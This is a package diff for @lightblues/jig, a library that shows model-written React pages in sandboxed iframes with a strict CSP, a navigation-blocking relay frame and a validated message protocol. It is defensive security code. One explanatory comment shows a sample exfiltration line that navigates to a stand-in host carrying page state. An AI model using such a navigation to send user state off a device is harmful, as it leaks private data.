@lightblues/jig 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,79 @@
1
+ const TAG = /^[A-Za-z][\w-]{0,31}$/;
2
+ const text = (s) => s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
3
+ const attr = (s) => text(s).replace(/"/g, '&quot;').replace(/[\r\n\t]/g, ' ');
4
+ function value(v, max) {
5
+ let json;
6
+ try {
7
+ json = JSON.stringify(v) ?? 'null';
8
+ }
9
+ catch {
10
+ json = '"(not JSON)"';
11
+ }
12
+ return text(json.length > max ? `${json.slice(0, max)}… (${json.length} chars, cut)` : json);
13
+ }
14
+ function when(at) {
15
+ if (at === undefined)
16
+ return undefined;
17
+ const d = at instanceof Date ? at : new Date(at);
18
+ return Number.isNaN(d.getTime()) ? String(at) : d.toISOString();
19
+ }
20
+ function attrs(a) {
21
+ return Object.entries(a).filter(([, v]) => v !== undefined && v !== '').map(([k, v]) => ` ${k}="${attr(v)}"`).join('');
22
+ }
23
+ function block(s, max) {
24
+ const lines = [` <surface${attrs({ id: s.surface, kind: s.kind, title: s.title })}>`];
25
+ if (s.state && Object.keys(s.state).length)
26
+ lines.push(` <state>${value(s.state, max)}</state>`);
27
+ if (s.now && Object.keys(s.now).length)
28
+ lines.push(` <now>${value(s.now, max)}</now>`);
29
+ const last = new Map();
30
+ const time = (e) => (e.at === undefined ? -Infinity : new Date(e.at).getTime() || -Infinity);
31
+ for (const e of s.events ?? []) {
32
+ const seen = last.get(e.name);
33
+ if (!seen || time(e) >= time(seen))
34
+ last.set(e.name, e);
35
+ }
36
+ for (const e of [...last.values()].sort((a, b) => time(b) - time(a)))
37
+ lines.push(` <last${attrs({ event: e.name, at: when(e.at) })}>${value(e.data, max)}</last>`);
38
+ lines.push(' </surface>');
39
+ return lines.join('\n');
40
+ }
41
+ /**
42
+ * The text an agent gets on its next run, or `''` when there is nothing to say. Values are JSON, escaped for XML-ish
43
+ * text; the model reads them, nothing parses them back.
44
+ */
45
+ export function surfacesContext(surfaces, options = {}) {
46
+ const maxChars = options.maxChars ?? 8_000;
47
+ const maxSurfaces = options.maxSurfaces ?? 8;
48
+ const max = options.maxValueChars ?? 2_000;
49
+ const tag = options.tag && TAG.test(options.tag) ? options.tag : 'surfaces';
50
+ if (!surfaces.length)
51
+ return '';
52
+ const open = `<${tag}>`;
53
+ const close = `</${tag}>`;
54
+ const kept = [];
55
+ let size = open.length + close.length + 2;
56
+ let omitted = 0;
57
+ for (const s of surfaces) {
58
+ if (kept.length >= maxSurfaces) {
59
+ omitted++;
60
+ continue;
61
+ }
62
+ const b = block(s, max);
63
+ // Room for the omitted line, whatever follows.
64
+ if (size + b.length + 1 + 40 > maxChars) {
65
+ omitted++;
66
+ continue;
67
+ }
68
+ kept.push(b);
69
+ size += b.length + 1;
70
+ }
71
+ if (omitted)
72
+ kept.push(` <omitted surfaces="${omitted}"/>`);
73
+ return [open, ...kept, close].join('\n');
74
+ }
75
+ /** The same as an AG-UI `Context` entry (`RunAgentInput.context[]`), or null when empty. */
76
+ export function surfacesContextEntry(surfaces, options = {}) {
77
+ const v = surfacesContext(surfaces, options);
78
+ return v ? { description: options.description ?? 'Interactive surfaces the reader has in view: their saved state, live values and last events', value: v } : null;
79
+ }
@@ -0,0 +1,50 @@
1
+ import type { CanvasState, ThemeKind } from './protocol.ts';
2
+ /**
3
+ * Who reads the page. `owner`: the reader asked for it (intake, assay, baton console, kiln). `multi`: an app with
4
+ * several users (lemma authored pages; later private chats behind a click). `multi` has no popups and loads images
5
+ * only from the host's own media origin.
6
+ */
7
+ export type CanvasProfile = 'owner' | 'multi';
8
+ /**
9
+ * The iframe `sandbox` per profile. Never `allow-same-origin` (the frame keeps an opaque origin: no cookies, storage
10
+ * or host API), never forms, modals or top navigation. Owner pages may open links in a new tab.
11
+ */
12
+ export declare const CANVAS_SANDBOX: Record<CanvasProfile, string>;
13
+ export interface CanvasDocumentOptions {
14
+ profile: CanvasProfile;
15
+ /** Absolute http(s) URL of the built runtime (`buildRuntime`), served by the host. Its query string is ignored by the CSP. */
16
+ runtimeUrl: string;
17
+ /** The host's media origin (`https://media.example.com`): the only place a `multi` page loads images from. */
18
+ mediaOrigin?: string;
19
+ /** Extra stylesheet and font URLs (absolute http(s)), such as KaTeX's CSS for the kit's `<Math>`. */
20
+ styleUrls?: readonly string[];
21
+ theme: ThemeKind;
22
+ /** The surface's saved values, so the first render already shows them. */
23
+ state?: CanvasState;
24
+ surface?: string;
25
+ title?: string;
26
+ /** The page background before the runtime paints, to avoid a white flash in dark mode. */
27
+ background?: string;
28
+ }
29
+ /** An absolute http(s) URL as a CSP source (origin + path, no query or fragment); throws on anything else. */
30
+ export declare function cspSource(url: string, what: string): string;
31
+ /** An origin (`https://host[:port]`, no path); throws on anything else. */
32
+ export declare function cspOrigin(origin: string, what: string): string;
33
+ /**
34
+ * The Content-Security-Policy of a canvas document. No network (`connect-src 'none'`), no frames, forms or `<base>`,
35
+ * no `eval`; scripts only from the runtime URL and the inline boot script. Images: `data:`, `blob:` and the media
36
+ * origin, plus any `https:` image for `owner` (a page can leak its state in an image URL; the owner is its only reader).
37
+ */
38
+ export declare function canvasCsp(options: Pick<CanvasDocumentOptions, 'profile' | 'runtimeUrl' | 'mediaOrigin' | 'styleUrls'>): string;
39
+ /** Inline `<script>` text cannot hold `</script` or `<!--`; both have equivalent escaped spellings in JS. */
40
+ export declare function scriptSafe(code: string): string;
41
+ export declare function escapeHtml(text: string): string;
42
+ /**
43
+ * The `srcdoc` of a canvas: a relay document (CSP, then the nested page frame, then the relay script) whose inner
44
+ * frame holds the page: the CSP first, then the runtime by URL, then the compiled body inline. The runtime
45
+ * (`window.__jigCanvas.run`) mounts it, posts `ready`, and takes the host's `init`. Put it in an iframe with
46
+ * `sandbox={CANVAS_SANDBOX[profile]}` (`CanvasFrame` does).
47
+ */
48
+ export declare function canvasDocument(compiled: string, options: CanvasDocumentOptions): string;
49
+ /** The inner page alone (what runs the canvas). `canvasDocument` wraps it in the relay; use that. */
50
+ export declare function canvasPage(compiled: string, options: CanvasDocumentOptions): string;
@@ -0,0 +1,128 @@
1
+ /**
2
+ * The iframe `sandbox` per profile. Never `allow-same-origin` (the frame keeps an opaque origin: no cookies, storage
3
+ * or host API), never forms, modals or top navigation. Owner pages may open links in a new tab.
4
+ */
5
+ export const CANVAS_SANDBOX = {
6
+ owner: 'allow-scripts allow-popups allow-popups-to-escape-sandbox',
7
+ multi: 'allow-scripts',
8
+ };
9
+ const CSS_COLOR = /^(#[0-9a-f]{3,8}|[a-z]+|(rgb|hsl)a?\([\d\s.,%/]+\))$/i;
10
+ /** An absolute http(s) URL as a CSP source (origin + path, no query or fragment); throws on anything else. */
11
+ export function cspSource(url, what) {
12
+ let u;
13
+ try {
14
+ u = new URL(url);
15
+ }
16
+ catch {
17
+ throw new TypeError(`${what} must be an absolute http(s) URL: ${JSON.stringify(url)}`);
18
+ }
19
+ if (u.protocol !== 'https:' && u.protocol !== 'http:')
20
+ throw new TypeError(`${what} must be http(s): ${JSON.stringify(url)}`);
21
+ if (u.username || u.password)
22
+ throw new TypeError(`${what} must not carry credentials`);
23
+ const source = u.origin + u.pathname;
24
+ if (/[\s;,'"]/.test(source))
25
+ throw new TypeError(`${what} has a character a CSP cannot hold: ${JSON.stringify(url)}`);
26
+ return source;
27
+ }
28
+ /** An origin (`https://host[:port]`, no path); throws on anything else. */
29
+ export function cspOrigin(origin, what) {
30
+ const source = cspSource(origin, what);
31
+ const u = new URL(source);
32
+ if (u.pathname !== '/' || origin.replace(/\/$/, '') !== u.origin)
33
+ throw new TypeError(`${what} must be an origin without a path: ${JSON.stringify(origin)}`);
34
+ return u.origin;
35
+ }
36
+ /**
37
+ * The Content-Security-Policy of a canvas document. No network (`connect-src 'none'`), no frames, forms or `<base>`,
38
+ * no `eval`; scripts only from the runtime URL and the inline boot script. Images: `data:`, `blob:` and the media
39
+ * origin, plus any `https:` image for `owner` (a page can leak its state in an image URL; the owner is its only reader).
40
+ */
41
+ export function canvasCsp(options) {
42
+ const runtime = cspSource(options.runtimeUrl, 'runtimeUrl');
43
+ const media = options.mediaOrigin ? ` ${cspOrigin(options.mediaOrigin, 'mediaOrigin')}` : '';
44
+ const styles = (options.styleUrls ?? []).map((u) => ` ${cspSource(u, 'styleUrls')}`).join('');
45
+ const images = `data: blob:${media}${options.profile === 'owner' ? ' https:' : ''}`;
46
+ if (options.profile !== 'owner' && options.profile !== 'multi')
47
+ throw new TypeError(`unknown profile ${JSON.stringify(options.profile)}`);
48
+ return [
49
+ "default-src 'none'",
50
+ `script-src ${runtime} 'unsafe-inline'`,
51
+ `style-src 'unsafe-inline'${styles}`,
52
+ `font-src data:${styles}`,
53
+ `img-src ${images}`,
54
+ `media-src ${images}`,
55
+ "connect-src 'none'",
56
+ "frame-src 'none'",
57
+ "worker-src 'none'",
58
+ "object-src 'none'",
59
+ "form-action 'none'",
60
+ "base-uri 'none'",
61
+ ].join('; ');
62
+ }
63
+ /** Inline `<script>` text cannot hold `</script` or `<!--`; both have equivalent escaped spellings in JS. */
64
+ export function scriptSafe(code) {
65
+ return code.replace(/<\/(script)/gi, '<\\/$1').replace(/<!--/g, '<\\!--');
66
+ }
67
+ /** JSON that is safe inside an inline script. */
68
+ function scriptJson(value) {
69
+ return JSON.stringify(value).replace(/</g, '\\u003c').replace(/\u2028/g, '\\u2028').replace(/\u2029/g, '\\u2029');
70
+ }
71
+ export function escapeHtml(text) {
72
+ return text.replace(/[&<>"']/g, (ch) => ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[ch]);
73
+ }
74
+ /**
75
+ * The relay: the outer document of a canvas. It holds the canvas page in a nested sandboxed frame and passes messages
76
+ * between it and the host, unchanged. Why a second frame: a sandboxed page may still navigate itself, and CSP cannot
77
+ * forbid that, so `location.href = "https://x/?" + state` would send its state off the device. A frame's navigation is
78
+ * checked against its *parent's* `frame-src`; the relay's is `'none'`, so the browser blocks it (and a second `load`
79
+ * of the inner frame tells the host the page tried; the relay removes it). The relay carries the same CSP as the page,
80
+ * because a srcdoc page inherits its parent's policy as well as its own.
81
+ */
82
+ const RELAY = `(function(){var f=document.getElementById('c'),p=window.parent,n=0,T='jig-canvas';
83
+ addEventListener('message',function(e){var d=e.data;if(e.source===p){f.contentWindow&&f.contentWindow.postMessage(d,'*');return}
84
+ if(e.source!==f.contentWindow||!d||d.type!==T)return;
85
+ if(d.op==='size'&&typeof d.height==='number'&&d.height>=0)f.style.height=Math.min(Math.ceil(d.height),20000)+'px';p.postMessage(d,'*')});
86
+ f.addEventListener('load',function(){if(++n>1){f.remove();p.postMessage({type:T,v:1,op:'navigated'},'*')}})})()`;
87
+ /**
88
+ * The `srcdoc` of a canvas: a relay document (CSP, then the nested page frame, then the relay script) whose inner
89
+ * frame holds the page: the CSP first, then the runtime by URL, then the compiled body inline. The runtime
90
+ * (`window.__jigCanvas.run`) mounts it, posts `ready`, and takes the host's `init`. Put it in an iframe with
91
+ * `sandbox={CANVAS_SANDBOX[profile]}` (`CanvasFrame` does).
92
+ */
93
+ export function canvasDocument(compiled, options) {
94
+ const csp = canvasCsp(options);
95
+ const inner = canvasPage(compiled, options);
96
+ const sandbox = CANVAS_SANDBOX[options.profile];
97
+ const background = pageBackground(options);
98
+ return [
99
+ `<!doctype html><html><head><meta charset="utf-8">`,
100
+ `<meta http-equiv="Content-Security-Policy" content="${escapeHtml(csp)}"><meta name="referrer" content="no-referrer">`,
101
+ `<style>html,body{margin:0;background:${background}}iframe{display:block;width:100%;height:0;border:0}</style></head><body>`,
102
+ `<iframe id="c" sandbox="${sandbox}" referrerpolicy="no-referrer" title="${escapeHtml(options.title ?? 'canvas')}" srcdoc="${escapeHtml(inner)}"></iframe>`,
103
+ `<script>${RELAY}</script></body></html>`,
104
+ ].join('');
105
+ }
106
+ function pageBackground(options) {
107
+ return options.background && CSS_COLOR.test(options.background) ? options.background : options.theme === 'dark' ? '#111' : '#fff';
108
+ }
109
+ /** The inner page alone (what runs the canvas). `canvasDocument` wraps it in the relay; use that. */
110
+ export function canvasPage(compiled, options) {
111
+ if (typeof compiled !== 'string')
112
+ throw new TypeError('compiled must be the string compileCanvas returned');
113
+ const csp = canvasCsp(options);
114
+ const runtime = new URL(options.runtimeUrl).href;
115
+ const theme = options.theme === 'dark' ? 'dark' : 'light';
116
+ const boot = scriptJson({ theme, state: options.state ?? {}, surface: options.surface ?? '' });
117
+ const styles = (options.styleUrls ?? []).map((u) => `<link rel="stylesheet" href="${escapeHtml(new URL(u).href)}">`).join('');
118
+ return [
119
+ `<!doctype html><html data-theme="${theme}"><head><meta charset="utf-8">`,
120
+ `<meta http-equiv="Content-Security-Policy" content="${escapeHtml(csp)}">`,
121
+ `<meta name="referrer" content="no-referrer"><meta name="viewport" content="width=device-width,initial-scale=1">`,
122
+ `<title>${escapeHtml(options.title ?? 'canvas')}</title>${styles}`,
123
+ `<style>html{color-scheme:${theme}}body{margin:0;background:${pageBackground(options)}}</style></head><body><div id="root"></div>`,
124
+ `<script src="${escapeHtml(runtime)}"></script>`,
125
+ `<script>window.__jigCanvas.run(function (require, exports, module, __h, __Fragment) {\n${scriptSafe(compiled)}\n}, ${boot})</script>`,
126
+ `</body></html>`,
127
+ ].join('');
128
+ }
@@ -0,0 +1,65 @@
1
+ import { type CSSProperties, type ReactNode } from 'react';
2
+ import { type RateLimit } from './bridge.ts';
3
+ import { type CanvasProfile } from './document.ts';
4
+ import type { CanvasAction, CanvasState, ThemeKind } from './protocol.ts';
5
+ export { CANVAS_SANDBOX, canvasDocument, canvasCsp, type CanvasProfile, type CanvasDocumentOptions } from './document.ts';
6
+ export { HostBridge, createPageBridge, type HostBridgeOptions, type RateLimit } from './bridge.ts';
7
+ export * from './protocol.ts';
8
+ /** How long the page has from mounting to its first `size` before the host shows "not responding". */
9
+ export declare const FIRST_SIZE_BUDGET_MS = 5000;
10
+ /** Live frames per page by default. */
11
+ export declare const MAX_LIVE_FRAMES = 3;
12
+ export type CanvasFrameStatus = 'idle' | 'loading' | 'live' | 'paused' | 'not-responding' | 'render-error' | 'navigated' | 'compile-error';
13
+ export interface CanvasFrameProps {
14
+ /** The compiled body (`compileCanvas`). `null` or `compileError` shows the source instead. */
15
+ src: string | null | undefined;
16
+ /** The TSX the model wrote: shown when it did not compile, did not respond, or on "source". */
17
+ source?: string;
18
+ /** The compile error, when `src` is missing because of one. */
19
+ compileError?: string;
20
+ /** The host's id for this surface. */
21
+ surface: string;
22
+ profile: CanvasProfile;
23
+ /** URL of the built runtime (`buildRuntime`), on the host's origin or its static origin. Relative is resolved against the page. */
24
+ runtimeUrl: string;
25
+ /** Where a `multi` page may load images from. */
26
+ mediaOrigin?: string;
27
+ /** Extra stylesheets (KaTeX CSS for `<Math>`). */
28
+ styleUrls?: readonly string[];
29
+ /** The state the host holds now. A new object replaces the page's values (another device, or the agent). */
30
+ state?: CanvasState;
31
+ theme?: ThemeKind;
32
+ /** Debounced: every key the page changed since the last call, latest value each. */
33
+ onState?: (set: CanvasState) => void;
34
+ onEvent?: (name: string, data: unknown) => void;
35
+ /** Only during a click in the frame. The host checks the action against its own list. */
36
+ onAction?: (action: CanvasAction) => void;
37
+ onStatus?: (status: CanvasFrameStatus, detail?: string) => void;
38
+ /** Each page message dropped (invalid, over a limit, rate-limited, an action without a click), with the reason. */
39
+ onReject?: (reason: string, data: unknown) => void;
40
+ /** Event names allowed; default the first 20 the page uses. */
41
+ events?: readonly string[];
42
+ /**
43
+ * When the frame starts: `visible` (scrolled into view, the default), `click` (a "Show" button first; use it for
44
+ * model output in multi-user apps) or `eager`.
45
+ */
46
+ load?: 'visible' | 'click' | 'eager';
47
+ title?: string;
48
+ background?: string;
49
+ className?: string;
50
+ style?: CSSProperties;
51
+ /** Height before the page reports its own. Default 120. */
52
+ minHeight?: number;
53
+ /** Height cap. Default 4,000 (the page scrolls inside past it). */
54
+ maxHeight?: number;
55
+ debounceMs?: number;
56
+ rate?: RateLimit;
57
+ eventRate?: RateLimit;
58
+ budgetMs?: number;
59
+ /** Overrides the page-wide limit of live frames (`MAX_LIVE_FRAMES`). */
60
+ maxLive?: number;
61
+ }
62
+ /** Frames live now (for tests and host dashboards). */
63
+ export declare function liveFrameCount(): number;
64
+ /** A model-written canvas in a sandboxed iframe. */
65
+ export declare function CanvasFrame(props: CanvasFrameProps): ReactNode;
@@ -0,0 +1,197 @@
1
+ // `@lightblues/jig/canvas/frame`: `<CanvasFrame>` for React DOM hosts. It owns the rules of v2 §4 that live in the
2
+ // host page, so a host cannot forget one: the sandbox, the CSP document, the `event.source` check, the rate limit,
3
+ // debounced state, actions only during a click, the height, the 5 s budget, lazy loading, at most 3 live frames, and
4
+ // the fallbacks to the source.
5
+ import { createElement as h, Fragment, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';
6
+ import { HostBridge } from "./bridge.js";
7
+ import { CANVAS_SANDBOX, canvasDocument } from "./document.js";
8
+ export { CANVAS_SANDBOX, canvasDocument, canvasCsp } from "./document.js";
9
+ export { HostBridge, createPageBridge } from "./bridge.js";
10
+ export * from "./protocol.js";
11
+ /** How long the page has from mounting to its first `size` before the host shows "not responding". */
12
+ export const FIRST_SIZE_BUDGET_MS = 5_000;
13
+ /** Live frames per page by default. */
14
+ export const MAX_LIVE_FRAMES = 3;
15
+ const live = [];
16
+ function goLive(entry, max) {
17
+ const at = live.indexOf(entry);
18
+ if (at >= 0)
19
+ live.splice(at, 1);
20
+ live.push(entry);
21
+ while (live.length > Math.max(1, max))
22
+ live.shift().pause();
23
+ }
24
+ function leave(entry) {
25
+ const at = live.indexOf(entry);
26
+ if (at >= 0)
27
+ live.splice(at, 1);
28
+ }
29
+ /** Frames live now (for tests and host dashboards). */
30
+ export function liveFrameCount() {
31
+ return live.length;
32
+ }
33
+ function userActive() {
34
+ const ua = globalThis.navigator?.userActivation;
35
+ return ua?.isActive === true;
36
+ }
37
+ const box = { boxSizing: 'border-box', border: '1px solid rgba(127,127,127,.3)', borderRadius: 8, padding: 12, fontSize: 13, lineHeight: '18px' };
38
+ const pre = { margin: '8px 0 0', maxHeight: 360, overflow: 'auto', whiteSpace: 'pre-wrap', overflowWrap: 'anywhere', font: '12px/17px ui-monospace,SFMono-Regular,Menlo,monospace' };
39
+ const button = { font: 'inherit', padding: '4px 10px', borderRadius: 6, border: '1px solid rgba(127,127,127,.45)', background: 'transparent', color: 'inherit', cursor: 'pointer' };
40
+ function SourceBox({ heading, detail, source, action }) {
41
+ return h('div', { role: 'status', 'data-jig-canvas-fallback': heading, style: box }, h('div', { style: { display: 'flex', alignItems: 'center', gap: 8, justifyContent: 'space-between' } }, h('strong', null, heading), action ?? null), detail ? h('pre', { style: { ...pre, color: '#b42318' } }, detail) : null, source ? h('pre', { 'data-jig-canvas-source': '', style: pre }, h('code', null, source)) : null);
42
+ }
43
+ /** A model-written canvas in a sandboxed iframe. */
44
+ export function CanvasFrame(props) {
45
+ const { src, source, compileError, surface, profile, theme = 'light', load = 'visible' } = props;
46
+ const minHeight = props.minHeight ?? 120;
47
+ const maxHeight = props.maxHeight ?? 4_000;
48
+ const wrap = useRef(null);
49
+ const frame = useRef(null);
50
+ const [status, setStatus] = useState(load === 'eager' ? 'loading' : 'idle');
51
+ const [detail, setDetail] = useState('');
52
+ const [height, setHeight] = useState(minHeight);
53
+ const [showSource, setShowSource] = useState(false);
54
+ const [run, setRun] = useState(0);
55
+ const latest = useRef(props);
56
+ latest.current = props;
57
+ const report = (s, d = '') => {
58
+ setStatus(s);
59
+ setDetail(d);
60
+ latest.current.onStatus?.(s, d || undefined);
61
+ };
62
+ const entry = useMemo(() => ({ pause: () => report('paused') }), []);
63
+ const compileFailed = compileError != null || !src;
64
+ const running = !compileFailed && (status === 'loading' || status === 'live' || status === 'render-error');
65
+ // Lazy start: when scrolled into view, once.
66
+ useEffect(() => {
67
+ if (compileFailed || load !== 'visible' || status !== 'idle')
68
+ return;
69
+ const el = wrap.current;
70
+ if (!el || typeof IntersectionObserver === 'undefined')
71
+ return void report('loading');
72
+ const io = new IntersectionObserver((entries) => {
73
+ if (entries.some((e) => e.isIntersecting)) {
74
+ io.disconnect();
75
+ report('loading');
76
+ }
77
+ });
78
+ io.observe(el);
79
+ return () => io.disconnect();
80
+ }, [compileFailed, load, status]);
81
+ useEffect(() => {
82
+ if (!running)
83
+ return;
84
+ goLive(entry, props.maxLive ?? MAX_LIVE_FRAMES);
85
+ return () => leave(entry);
86
+ }, [running, entry]);
87
+ // The document is built once per run; state and theme changes after that go to the page as messages.
88
+ const doc = useMemo(() => {
89
+ if (compileFailed || typeof window === 'undefined')
90
+ return '';
91
+ const p = latest.current;
92
+ return canvasDocument(src, {
93
+ profile, surface, theme: p.theme ?? 'light', state: p.state ?? {}, title: p.title,
94
+ runtimeUrl: new URL(p.runtimeUrl, window.location.href).href, mediaOrigin: p.mediaOrigin, styleUrls: p.styleUrls, background: p.background,
95
+ });
96
+ }, [src, compileFailed, profile, surface, run]);
97
+ const bridge = useRef(null);
98
+ // A layout effect: the listener is in place in the same task as the commit, before the frame can run a script.
99
+ useLayoutEffect(() => {
100
+ if (!running || !doc)
101
+ return;
102
+ const el = frame.current;
103
+ if (!el)
104
+ return;
105
+ let sized = false;
106
+ let failed = false;
107
+ const p = latest.current;
108
+ const b = new HostBridge({
109
+ post: (m) => el.contentWindow?.postMessage(m, '*'),
110
+ state: p.state ?? {},
111
+ theme: p.theme ?? 'light',
112
+ debounceMs: p.debounceMs,
113
+ rate: p.rate,
114
+ eventRate: p.eventRate,
115
+ events: p.events,
116
+ userActive,
117
+ onState: (set) => latest.current.onState?.(set),
118
+ onEvent: (name, data) => latest.current.onEvent?.(name, data),
119
+ onAction: (action) => latest.current.onAction?.(action),
120
+ onSize: (hgt) => {
121
+ setHeight(Math.max(minHeight, Math.min(hgt, maxHeight)));
122
+ if (!sized) {
123
+ sized = true;
124
+ clearTimeout(budget);
125
+ if (!failed)
126
+ report('live');
127
+ }
128
+ },
129
+ onError: (message) => {
130
+ failed = true;
131
+ clearTimeout(budget);
132
+ report('render-error', message);
133
+ },
134
+ onNavigated: () => {
135
+ clearTimeout(budget);
136
+ report('navigated');
137
+ },
138
+ onReject: (reason, data) => latest.current.onReject?.(reason, data),
139
+ });
140
+ bridge.current = b;
141
+ const onMessage = (event) => {
142
+ // Only this frame's window. Another frame, a popup or the host's own scripts are ignored.
143
+ if (event.source === null || event.source !== el.contentWindow)
144
+ return;
145
+ b.receive(event.data);
146
+ };
147
+ window.addEventListener('message', onMessage);
148
+ const budget = setTimeout(() => {
149
+ if (!sized) {
150
+ b.dispose();
151
+ report('not-responding');
152
+ }
153
+ }, p.budgetMs ?? FIRST_SIZE_BUDGET_MS);
154
+ return () => {
155
+ clearTimeout(budget);
156
+ window.removeEventListener('message', onMessage);
157
+ b.dispose();
158
+ if (bridge.current === b)
159
+ bridge.current = null;
160
+ };
161
+ }, [running, doc]);
162
+ useEffect(() => bridge.current?.setState(props.state ?? {}), [props.state]);
163
+ useEffect(() => bridge.current?.setTheme(theme), [theme]);
164
+ useEffect(() => bridge.current?.update({ events: props.events }), [props.events]);
165
+ const title = props.title ?? 'canvas';
166
+ const restart = () => {
167
+ setRun((n) => n + 1);
168
+ setHeight(minHeight);
169
+ report('loading');
170
+ };
171
+ const toggle = h('button', { type: 'button', style: button, onClick: () => setShowSource((v) => !v) }, showSource ? 'Hide source' : 'Source');
172
+ let body;
173
+ if (compileFailed)
174
+ body = h(SourceBox, { heading: 'This page did not compile', detail: compileError, source });
175
+ else if (status === 'idle' || status === 'paused')
176
+ body = h(SourceBox, {
177
+ heading: status === 'paused' ? `${title} (paused)` : title,
178
+ action: h('button', { type: 'button', style: button, 'data-jig-canvas-run': '', onClick: restart }, 'Show'),
179
+ });
180
+ else if (status === 'not-responding')
181
+ body = h(SourceBox, { heading: 'Page not responding', source, action: h('button', { type: 'button', style: button, onClick: restart }, 'Retry') });
182
+ else if (status === 'navigated')
183
+ body = h(SourceBox, { heading: 'The page tried to leave; it was stopped', source });
184
+ else
185
+ body = h(Fragment, null, h('iframe', {
186
+ ref: frame,
187
+ srcDoc: doc,
188
+ sandbox: CANVAS_SANDBOX[profile],
189
+ referrerPolicy: 'no-referrer',
190
+ title,
191
+ 'data-jig-canvas': surface,
192
+ style: { display: 'block', width: '100%', height, border: 0, colorScheme: 'normal' },
193
+ }), status === 'render-error' && source
194
+ ? h('div', { style: { marginTop: 6 } }, toggle, showSource ? h('pre', { 'data-jig-canvas-source': '', style: pre }, h('code', null, source)) : null)
195
+ : null);
196
+ return h('div', { ref: wrap, className: props.className, style: props.style, 'data-jig-canvas-status': compileFailed ? 'compile-error' : status }, body);
197
+ }
@@ -0,0 +1 @@
1
+ export declare const RUNTIME_NAMES: readonly ["useCanvasState", "useCanvasEvent", "useCanvasAction", "useCanvasTheme", "useCanvasSurface", "useState", "useEffect", "useMemo", "useRef", "useCallback", "Fragment"];
@@ -0,0 +1,6 @@
1
+ // Names every canvas runtime adds to the kit (the protocol hooks and the React utilities Cursor's module has). Kept apart
2
+ // from `runtime.ts` so the server and the build script can read them without loading React.
3
+ export const RUNTIME_NAMES = [
4
+ 'useCanvasState', 'useCanvasEvent', 'useCanvasAction', 'useCanvasTheme', 'useCanvasSurface',
5
+ 'useState', 'useEffect', 'useMemo', 'useRef', 'useCallback', 'Fragment',
6
+ ];
@@ -0,0 +1,93 @@
1
+ /** `type` of every bridged message. */
2
+ export declare const FRAME_MESSAGE_TYPE = "jig-canvas";
3
+ /** Protocol version; a message with another `v` is dropped. */
4
+ export declare const FRAME_MESSAGE_VERSION = 1;
5
+ /** Limits (v2 §2). A message over a limit is dropped, never truncated. */
6
+ export declare const LIMITS: {
7
+ /** Longest state key. */
8
+ readonly key: 200;
9
+ /** A surface's whole state, as JSON characters. */
10
+ readonly state: 20000;
11
+ /** One event's `data`, as JSON characters. */
12
+ readonly eventData: 2000;
13
+ /** One action, as JSON characters. */
14
+ readonly action: 4000;
15
+ /** Distinct event names a tier-B surface may use. */
16
+ readonly eventNames: 20;
17
+ /** Tallest frame, in CSS pixels; a larger `size` is clamped. */
18
+ readonly height: 20000;
19
+ /** Deepest JSON nesting accepted in a value. */
20
+ readonly depth: 32;
21
+ /** Longest render-error message kept. */
22
+ readonly error: 2000;
23
+ };
24
+ export type ThemeKind = 'light' | 'dark';
25
+ export type JsonValue = null | boolean | number | string | JsonValue[] | {
26
+ [key: string]: JsonValue;
27
+ };
28
+ export type CanvasState = Record<string, unknown>;
29
+ /** What `useCanvasAction` dispatches. The host decides what each `type` does; anything else it ignores. */
30
+ export type CanvasAction = {
31
+ type: string;
32
+ [key: string]: unknown;
33
+ };
34
+ /** Page → host. `seq` numbers a page's state writes so a host replace can say which it has seen (`ack`). */
35
+ export type PageMessage = {
36
+ op: 'ready';
37
+ } | {
38
+ op: 'state';
39
+ key: string;
40
+ value: unknown;
41
+ seq: number;
42
+ } | {
43
+ op: 'event';
44
+ name: string;
45
+ data: unknown;
46
+ } | {
47
+ op: 'action';
48
+ action: CanvasAction;
49
+ } | {
50
+ op: 'size';
51
+ height: number;
52
+ } | {
53
+ op: 'error';
54
+ message: string;
55
+ }
56
+ /** From the relay: the page tried to load another document and was removed. */
57
+ | {
58
+ op: 'navigated';
59
+ };
60
+ /** Host → page. `state` and `init` replace the page's values; `ack` is the last page `seq` the host had seen. */
61
+ export type HostMessage = {
62
+ op: 'init';
63
+ state: CanvasState;
64
+ theme: ThemeKind;
65
+ ack: number;
66
+ } | {
67
+ op: 'state';
68
+ values: CanvasState;
69
+ ack: number;
70
+ } | {
71
+ op: 'theme';
72
+ kind: ThemeKind;
73
+ };
74
+ export declare const EVENT_NAME: RegExp;
75
+ /** Wrap a message for `postMessage`. */
76
+ export declare function frameMessage<T extends PageMessage | HostMessage>(message: T): T & {
77
+ type: typeof FRAME_MESSAGE_TYPE;
78
+ v: typeof FRAME_MESSAGE_VERSION;
79
+ };
80
+ /**
81
+ * Plain JSON within `depth`: objects with the plain prototype, arrays, strings, finite numbers, booleans, null.
82
+ * `postMessage` clones Maps, Dates, typed arrays and cycles; none of those is state.
83
+ */
84
+ export declare function isJson(value: unknown, depth?: number): value is JsonValue;
85
+ /** JSON length of a value already checked by `isJson`. */
86
+ export declare function jsonSize(value: unknown): number;
87
+ /**
88
+ * A page → host message, validated, or null. Unknown ops, wrong types, oversized values, non-JSON values, keys over
89
+ * 200 chars and bad event or action names are all null. Checking `event.source` is the caller's job (`CanvasFrame`).
90
+ */
91
+ export declare function parseFrameMessage(data: unknown): PageMessage | null;
92
+ /** A host → page message, validated, or null. The runtime also checks `event.source === window.parent`. */
93
+ export declare function parseHostMessage(data: unknown): HostMessage | null;